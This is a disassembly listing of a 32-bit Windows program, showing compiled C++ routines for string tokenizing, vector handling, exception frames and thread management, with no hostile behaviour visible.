		push	offset SEH_40A430
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		mov	edi, [esp+44h+arg_8]
		mov	esi, ecx
		test	edi, edi
		mov	[esp+44h+var_38], 0
		jnz	short loc_40A471
		mov	esi, [esp+44h+arg_0]
		push	offset byte_446F60
		mov	ecx, esi
		call	sub_401861
		jmp	loc_40A5A4
; ---------------------------------------------------------------------------


loc_40A471:				; CODE XREF: sub_40A430+2Aj
		lea	eax, [esp+44h+arg_8]
		lea	ecx, [esp+44h+var_34]
		push	eax
		call	sub_401690
		mov	ecx, [esi+9]
		mov	[esp+44h+var_4], 1
		push	ecx
		lea	ecx, [esp+48h+var_24]
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	byte ptr [esp+44h+var_4], 2
		call	sub_4014D3
		mov	[esp+44h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jz	loc_40A555
		push	ebx


loc_40A4B1:				; CODE XREF: sub_40A430+11Ej
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40A4C0


loc_40A4B7:				; CODE XREF: sub_40A430+8Ej
		inc	eax
		mov	[esp+48h+var_3C], eax
		cmp	[eax], dl
		jz	short loc_40A4B7


loc_40A4C0:				; CODE XREF: sub_40A430+85j
		cmp	byte ptr [eax],	22h
		setz	bl
		test	bl, bl
		jz	short loc_40A4CF
		inc	eax
		mov	[esp+48h+var_3C], eax


loc_40A4CF:				; CODE XREF: sub_40A430+98j
		lea	edx, [esp+48h+var_3C]
		lea	ecx, [esp+48h+var_34]
		push	edx
		call	sub_401988
		mov	eax, [esp+48h+var_3C]
		test	bl, bl
		mov	cl, [eax]
		jz	short loc_40A51F
		test	cl, cl
		jz	short loc_40A507


loc_40A4EB:				; CODE XREF: sub_40A430+D5j
		cmp	cl, 22h
		jnz	short loc_40A4FC
		mov	cl, [eax+1]
		cmp	cl, 20h
		jz	short loc_40A507
		test	cl, cl
		jz	short loc_40A507


loc_40A4FC:				; CODE XREF: sub_40A430+BEj
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A4EB


loc_40A507:				; CODE XREF: sub_40A430+B9j
					; sub_40A430+C6j ...
		cmp	byte ptr [eax],	0
		jz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		mov	cl, [eax+1]
		test	cl, cl
		jz	short loc_40A54A
		add	eax, 2
		jmp	short loc_40A546
; ---------------------------------------------------------------------------


loc_40A51F:				; CODE XREF: sub_40A430+B5j
		test	cl, cl
		jz	short loc_40A534
		mov	dl, [edi]


loc_40A525:				; CODE XREF: sub_40A430+102j
		cmp	cl, dl
		jz	short loc_40A534
		inc	eax
		mov	[esp+48h+var_3C], eax
		mov	cl, [eax]
		test	cl, cl
		jnz	short loc_40A525


loc_40A534:				; CODE XREF: sub_40A430+F1j
					; sub_40A430+F7j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_40A54A
		cmp	cl, [edi]
		jnz	short loc_40A54A
		mov	byte ptr [eax],	0
		mov	eax, [esp+48h+var_3C]
		inc	eax


loc_40A546:				; CODE XREF: sub_40A430+EDj
		mov	[esp+48h+var_3C], eax


loc_40A54A:				; CODE XREF: sub_40A430+DAj
					; sub_40A430+E8j ...
		mov	cl, [eax]
		test	cl, cl
		jnz	loc_40A4B1
		pop	ebx


loc_40A555:				; CODE XREF: sub_40A430+7Aj
		lea	ecx, [esp+44h+var_34]
		call	sub_4011F9
		mov	ecx, [esp+44h+arg_4]
		cmp	ecx, eax
		jb	short loc_40A56D
		push	offset byte_446F60
		jmp	short loc_40A57A
; ---------------------------------------------------------------------------


loc_40A56D:				; CODE XREF: sub_40A430+134j
		push	ecx
		lea	ecx, [esp+48h+var_34]
		call	sub_401F64
		mov	eax, [eax]
		push	eax


loc_40A57A:				; CODE XREF: sub_40A430+13Bj
		mov	esi, [esp+48h+arg_0]
		mov	ecx, esi
		call	sub_401861
		lea	ecx, [esp+44h+var_24]
		mov	[esp+44h+var_38], 1
		call	sub_401226
		lea	ecx, [esp+44h+var_34]
		mov	byte ptr [esp+44h+var_4], 0
		call	sub_40158C
; ---------------------------------------------------------------------------


loc_40A5A4:				; CODE XREF: sub_40A430+3Cj
		mov	ecx, [esp+44h+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn	10h
sub_40A430	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 70h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A630	proc near		; CODE XREF: sub_4016AEj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ecx
		mov	eax, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	0
		push	eax
		push	edx
		push	esi
		mov	[esp+18h+var_4], 0
		call	sub_4011EA
		mov	eax, esi
		pop	esi
		pop	ecx
		retn	0Ch
sub_40A630	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A670	proc near		; CODE XREF: sub_40200Ej

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		mov	ecx, [esp+4+arg_0]
		call	sub_401389
		push	eax
		mov	ecx, esi
		call	sub_4015D7
		pop	esi
		retn	4
sub_40A670	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6A0	proc near		; CODE XREF: sub_401A87j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4015D7
		retn	4
sub_40A6A0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A6C0	proc near		; CODE XREF: sub_40146Fj

arg_0		= dword	ptr  4

		mov	eax, [ecx+9]
		mov	ecx, [esp+arg_0]
		add	eax, ecx
		retn	4
sub_40A6C0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A6E0:				; CODE XREF: ___:0040149Cj
		mov	eax, [ecx+9]
		mov	ecx, [esp+4]
		add	eax, ecx
		retn	4
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A700	proc near		; CODE XREF: sub_401389j
		mov	eax, [ecx+9]
		retn
sub_40A700	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A720	proc near		; CODE XREF: sub_4017E4j
		mov	eax, [ecx+9]
		retn
sub_40A720	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A740	proc near		; CODE XREF: sub_4014D3j
		mov	eax, [ecx+9]
		retn
sub_40A740	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A760	proc near		; CODE XREF: sub_401690j

arg_0		= dword	ptr  4

		mov	eax, ecx
		mov	ecx, [esp+arg_0]
		mov	dl, [ecx]
		xor	ecx, ecx
		mov	[eax], dl
		mov	[eax+4], ecx
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		retn	4
sub_40A760	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A790	proc near		; CODE XREF: sub_40158Cj
		push	esi
		mov	esi, ecx
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
sub_40A790	endp

; ---------------------------------------------------------------------------
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A7E0	proc near		; CODE XREF: sub_4011F9j
		mov	edx, [ecx+4]
		test	edx, edx
		jnz	short loc_40A7EA
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_40A7EA:				; CODE XREF: sub_40A7E0+5j
		mov	eax, [ecx+8]
		sub	eax, edx
		sar	eax, 2
		retn
sub_40A7E0	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A810	proc near		; CODE XREF: sub_401F64j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	esi, ecx
		call	sub_4011F9
		mov	edi, [esp+8+arg_0]
		cmp	eax, edi
		ja	short loc_40A828
		mov	ecx, esi
		call	sub_401EE7


loc_40A828:				; CODE XREF: sub_40A810+Fj
		mov	ecx, esi
		call	sub_401D1B
		lea	eax, [eax+edi*4]
		pop	edi
		pop	esi
		retn	4
sub_40A810	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A850	proc near		; CODE XREF: sub_401988j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		push	eax
		call	sub_40164F
		push	eax
		mov	ecx, esi
		call	sub_4016EF
		pop	esi
		retn	4
sub_40A850	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A880	proc near		; CODE XREF: sub_401D1Bj
		mov	eax, [ecx+4]
		retn
sub_40A880	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8A0	proc near		; CODE XREF: sub_40164Fj
		mov	eax, [ecx+8]
		retn
sub_40A8A0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A8C0	proc near		; CODE XREF: sub_4016EFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	edi
		mov	edi, ecx
		call	sub_401D1B
		mov	edx, [esp+8+arg_4]
		mov	ecx, eax
		mov	eax, [esp+8+arg_0]
		push	edx
		mov	esi, eax
		push	1
		sub	esi, ecx
		push	eax
		mov	ecx, edi
		sar	esi, 2
		call	sub_4013CF
		mov	ecx, edi
		call	sub_401D1B
		lea	eax, [eax+esi*4]
		pop	edi
		pop	esi
		retn	8
sub_40A8C0	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A910	proc near		; CODE XREF: sub_4019A6j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_4]
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		cmp	esi, ebx
		mov	edi, ecx
		jz	short loc_40A930


loc_40A921:				; CODE XREF: sub_40A910+1Ej
		push	esi
		mov	ecx, edi
		call	sub_4018B1
		add	esi, 4
		cmp	esi, ebx
		jnz	short loc_40A921


loc_40A930:				; CODE XREF: sub_40A910+Fj
		pop	edi
		pop	esi
		pop	ebx
		retn	8
sub_40A910	endp

; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40A950:				; CODE XREF: sub_401EE7j
		push	0FFFFFFFFh
		push	offset loc_438AB9
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		lea	eax, [esp+3]
		lea	ecx, [esp+4]
		push	eax
		push	offset aInvalidVectorT ; "invalid vector<T> subscript"
		nop
		call	near ptr 76081F67h
		lea	ecx, [esp+4]
		mov	dword ptr [esp+38h], 0
		push	ecx
		lea	ecx, [esp+18h]
		nop
		call	near ptr 760A0430h
		lea	edx, [esp+14h]
		push	offset dword_43F080
		push	edx
		call	sub_436832
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40A9D0	proc near		; CODE XREF: sub_4011EFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	sub_4367E2
sub_40A9D0	endp

; ---------------------------------------------------------------------------
		pop	ecx
		retn	8
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40A9F0	proc near		; CODE XREF: sub_4013CFj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		push	esi
		mov	esi, ecx
		push	edi
		mov	edi, [esp+10h+arg_4]
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		sub	ecx, eax
		sar	ecx, 2
		cmp	ecx, edi
		jnb	loc_40AABB
		mov	ecx, esi
		call	sub_4011F9
		cmp	edi, eax
		jnb	short loc_40AA23
		mov	ecx, esi
		call	sub_4011F9
		mov	ebp, eax
		jmp	short loc_40AA25
; ---------------------------------------------------------------------------


loc_40AA23:				; CODE XREF: sub_40A9F0+26j
		mov	ebp, edi


loc_40AA25:				; CODE XREF: sub_40A9F0+31j
		mov	ecx, esi
		call	sub_4011F9
		mov	ebx, eax
		push	0
		add	ebx, ebp
		mov	ecx, esi
		push	ebx
		call	sub_401DCF
; ---------------------------------------------------------------------------
		mov	edx, [esp+10h+arg_0]
		mov	ebp, eax
		mov	eax, [esi+4]
		push	ebp
		push	edx
		push	eax
		mov	ecx, esi
		call	sub_4010CD
		mov	ecx, [esp+10h+arg_8]
		mov	[esp+10h+arg_4], eax
		push	ecx
		push	edi
		push	eax
		mov	ecx, esi
		call	sub_402176
		mov	edx, [esp+10h+arg_4]
		mov	ecx, [esi+8]
		lea	eax, [edx+edi*4]
		mov	edx, [esp+10h+arg_0]
		push	eax
		push	ecx
		push	edx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	ecx, [esi+4]
		push	eax
		push	ecx
		mov	ecx, esi
		call	sub_4019A6
		mov	eax, [esi+4]
		mov	edx, [esi+0Ch]
		sub	edx, eax
		mov	ecx, esi
		sar	edx, 2
		push	edx
		push	eax
		call	sub_4011EF
; ---------------------------------------------------------------------------
		lea	eax, [ebp+ebx*4+0]
		mov	ecx, esi
		mov	[esi+0Ch], eax
		call	sub_4011F9
		add	eax, edi
		mov	[esi+4], ebp
		pop	edi
		lea	ecx, [ebp+eax*4+0]
		mov	[esi+8], ecx
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AABB:				; CODE XREF: sub_40A9F0+17j
		mov	ebx, [esp+10h+arg_0]
		mov	edx, eax
		sub	edx, ebx
		sar	edx, 2
		cmp	edx, edi
		jnb	short loc_40AB19
		lea	ebp, ds:0[edi*4]
		lea	ecx, [ebx+ebp]
		push	ecx
		push	eax
		push	ebx
		mov	ecx, esi
		call	sub_4010CD
		mov	eax, [esi+8]
		mov	edx, [esp+10h+arg_8]
		mov	ecx, eax
		push	edx
		sub	ecx, ebx
		sar	ecx, 2
		sub	edi, ecx
		mov	ecx, esi
		push	edi
		push	eax
		call	sub_402176
		mov	edx, [esp+10h+arg_8]
		mov	eax, [esi+8]
		push	edx
		push	eax
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 0Ch
		add	eax, ebp
		mov	[esi+8], eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AB19:				; CODE XREF: sub_40A9F0+D8j
		test	edi, edi
		jbe	short loc_40AB53
		shl	edi, 2
		push	eax
		push	eax
		sub	eax, edi
		mov	ecx, esi
		push	eax
		call	sub_4010CD
		mov	eax, [esi+8]
		push	eax
		sub	eax, edi
		push	eax
		push	ebx
		call	sub_4020AE
		mov	ecx, [esp+1Ch+arg_8]
		lea	edx, [edi+ebx]
		push	ecx
		push	edx
		push	ebx
		call	sub_401E6F
		mov	eax, [esi+8]
		add	esp, 18h
		add	eax, edi
		mov	[esi+8], eax


loc_40AB53:				; CODE XREF: sub_40A9F0+12Bj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40A9F0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABC0	proc near		; CODE XREF: sub_4018B1j

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	eax
		call	j_nullsub_1
		pop	ecx
		retn	4
sub_40ABC0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ABE0	proc near		; CODE XREF: sub_4010CDj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_4]
		push	esi
		mov	esi, [esp+0Ch+arg_0]
		mov	ebx, ecx
		cmp	esi, ebp
		jz	short loc_40AC12
		push	edi
		mov	edi, [esp+10h+arg_8]


loc_40ABF6:				; CODE XREF: sub_40ABE0+27j
		push	esi
		push	edi
		mov	ecx, ebx
		call	sub_402121
		add	esi, 4
		add	edi, 4
		cmp	esi, ebp
		jnz	short loc_40ABF6
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
; ---------------------------------------------------------------------------


loc_40AC12:				; CODE XREF: sub_40ABE0+Fj
		mov	eax, [esp+0Ch+arg_8]
		pop	esi
		pop	ebp
		pop	ebx
		retn	0Ch
sub_40ABE0	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AC30	proc near		; CODE XREF: sub_402176j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebp
		push	edi
		mov	edi, [esp+8+arg_4]
		mov	ebp, ecx
		test	edi, edi
		jbe	short loc_40AC57
		push	ebx
		mov	ebx, [esp+0Ch+arg_8]
		push	esi
		mov	esi, [esp+10h+arg_0]


loc_40AC46:				; CODE XREF: sub_40AC30+23j
		push	ebx
		push	esi
		mov	ecx, ebp
		call	sub_402121
		add	esi, 4
		dec	edi
		jnz	short loc_40AC46
		pop	esi
		pop	ebx


loc_40AC57:				; CODE XREF: sub_40AC30+Aj
		pop	edi
		pop	ebp
		retn	0Ch
sub_40AC30	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AC70	proc near		; CODE XREF: sub_401DCFj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		push	0
		push	eax
		call	sub_4014CE
sub_40AC70	endp

; ---------------------------------------------------------------------------
		add	esp, 8
		retn	8
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACA0	proc near		; CODE XREF: sub_402121j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_0]
		push	eax
		push	ecx
		call	sub_401DE8
		add	esp, 8
		retn	8
sub_40ACA0	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ACD0	proc near		; CODE XREF: sub_401E6Fj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	eax, ecx
		jz	short locret_40ACED
		mov	edx, [esp+arg_8]
		push	esi


loc_40ACE1:				; CODE XREF: sub_40ACD0+1Aj
		mov	esi, [edx]
		mov	[eax], esi
		add	eax, 4
		cmp	eax, ecx
		jnz	short loc_40ACE1
		pop	esi

locret_40ACED:				; CODE XREF: sub_40ACD0+Aj
		retn
sub_40ACD0	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD00	proc near		; CODE XREF: sub_4020AEj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		cmp	edx, ecx
		jz	short loc_40AD22
		mov	eax, [esp+arg_8]
		push	esi


loc_40AD11:				; CODE XREF: sub_40AD00+1Ej
		mov	esi, [ecx-4]
		sub	ecx, 4
		sub	eax, 4
		cmp	ecx, edx
		mov	[eax], esi
		jnz	short loc_40AD11
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AD22:				; CODE XREF: sub_40AD00+Aj
		mov	eax, [esp+arg_8]
		retn
sub_40AD00	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
		db 0Fh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40AD60	proc near		; CODE XREF: sub_4014CEj

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		test	eax, eax
		jge	short loc_40AD6A
		xor	eax, eax


loc_40AD6A:				; CODE XREF: sub_40AD60+6j
		shl	eax, 2
		push	eax
		call	sub_4367FA
sub_40AD60	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AD90	proc near		; CODE XREF: sub_401DE8j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	eax
		push	4
		call	sub_4011CC
		add	esp, 8
		test	eax, eax
		jz	short locret_40ADAB
		mov	ecx, [esp+arg_4]
		mov	edx, [ecx]
		mov	[eax], edx

locret_40ADAB:				; CODE XREF: sub_40AD90+11j
		retn
sub_40AD90	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40ADC0	proc near		; CODE XREF: sub_401E6Aj
		mov	eax, ecx
		mov	dword ptr [eax], offset	off_43E014
		retn
sub_40ADC0	endp

; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40ADE0:				; CODE XREF: ___:00401717j
					; ___:loc_402027j
		push	esi
		mov	esi, ecx
		call	sub_402031
		test	byte ptr [esp+8], 1
		jz	short loc_40ADF8
		push	esi
		call	sub_4367E2
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40ADF8:				; CODE XREF: ___:0040ADEDj
		mov	eax, esi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE10	proc near		; CODE XREF: sub_402031j

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AE10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	dword ptr [ecx], offset	off_43E014
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	sub_401744


loc_40AE41:				; DATA XREF: sub_40AE52o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AE10	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE52	proc near		; DATA XREF: ___:0043F1BCo
		mov	eax, offset loc_40AE41
		retn
sub_40AE52	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AE80	proc near		; CODE XREF: sub_4014BAj
		call	sub_401708
		jmp	sub_4017B2
sub_40AE80	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEA0	proc near		; CODE XREF: sub_401B18j
		call	sub_40161D
		jmp	sub_4017C1
sub_40AEA0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AEC0	proc near		; CODE XREF: sub_4013D4j
		push	esi
		mov	esi, ecx
		push	esi
		push	offset sub_40141F
		lea	eax, [esi+0Ch]
		push	0
		push	eax
		call	sub_40123A
		add	esp, 10h
		test	eax, eax
		jnz	short loc_40AEE2
		mov	al, 1
		mov	[esi+10h], al
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_40AEE2:				; CODE XREF: sub_40AEC0+19j
		mov	byte ptr [esi+10h], 0
		xor	al, al
		pop	esi
		retn
sub_40AEC0	endp

; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF00:				; CODE XREF: ___:004011C2j
		push	ecx
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF27
		mov	ecx, [esi+0Ch]
		lea	eax, [esp+4]
		push	eax
		push	ecx
		call	sub_40175D
		mov	eax, [esp+0Ch]
		add	esp, 8
		mov	byte ptr [esi+10h], 0
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_40AF27:				; CODE XREF: ___:0040AF09j
		xor	eax, eax
		pop	esi
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40AF40	proc near		; CODE XREF: sub_401744j
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40AF5C
		mov	eax, [esi+0Ch]
		push	0Fh
		push	eax
		call	sub_401758
		add	esp, 8
		mov	byte ptr [esi+10h], 0


loc_40AF5C:				; CODE XREF: sub_40AF40+8j
		pop	esi
		retn
sub_40AF40	endp

; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40AF70:				; CODE XREF: ___:004011F4j
		mov	eax, [ecx+0Ch]
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF90	proc near		; CODE XREF: sub_40141Fj

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset SEH_40AF90
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		mov	eax, [ecx]
		mov	[ebp+var_10], esp
		mov	[ebp+var_4], 0
		call	dword ptr [eax+4]


loc_40AFBE:				; DATA XREF: sub_40AFD1o
		mov	ecx, [ebp+var_C]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_40AF90	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFD1	proc near		; DATA XREF: ___:0043F21Co
		mov	eax, offset loc_40AFBE
		retn
sub_40AFD1	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B000	proc near		; CODE XREF: sub_401028j

var_8		= dword	ptr -8
var_4		= byte ptr -4

		sub	esp, 8
		push	esi
		mov	esi, ecx
		mov	al, [esi+10h]
		test	al, al
		jz	short loc_40B042
		mov	edx, [esi+0Ch]
		lea	eax, [esp+0Ch+var_8]
		lea	ecx, [esp+0Ch+var_4]
		push	eax
		push	ecx
		push	edx
		call	sub_40218F
		mov	edx, [esi+0Ch]
		mov	eax, [esp+18h+var_8]
		lea	ecx, [esp+18h+var_8]
		mov	[esi+8], eax
		push	ecx
		push	1
		push	edx
		mov	[esp+24h+var_8], 0
		call	sub_401050
		add	esp, 18h


loc_40B042:				; CODE XREF: sub_40B000+Bj
		pop	esi
		add	esp, 8
		retn
sub_40B000	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40B070	proc near		; CODE XREF: sub_401DCAj

var_4		= dword	ptr -4

		push	ecx
		mov	al, [ecx+10h]
		test	al, al
		jz	short loc_40B092
		mov	eax, [ecx+8]
		lea	edx, [esp+4+var_4]
		mov	[esp+4+var_4], eax
		mov	eax, [ecx+0Ch]
		push	edx
		push	1
		push	eax
		call	sub_401050
		add	esp, 0Ch


loc_40B092:				; CODE XREF: sub_40B070+6j
		pop	ecx
		retn
sub_40B070	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


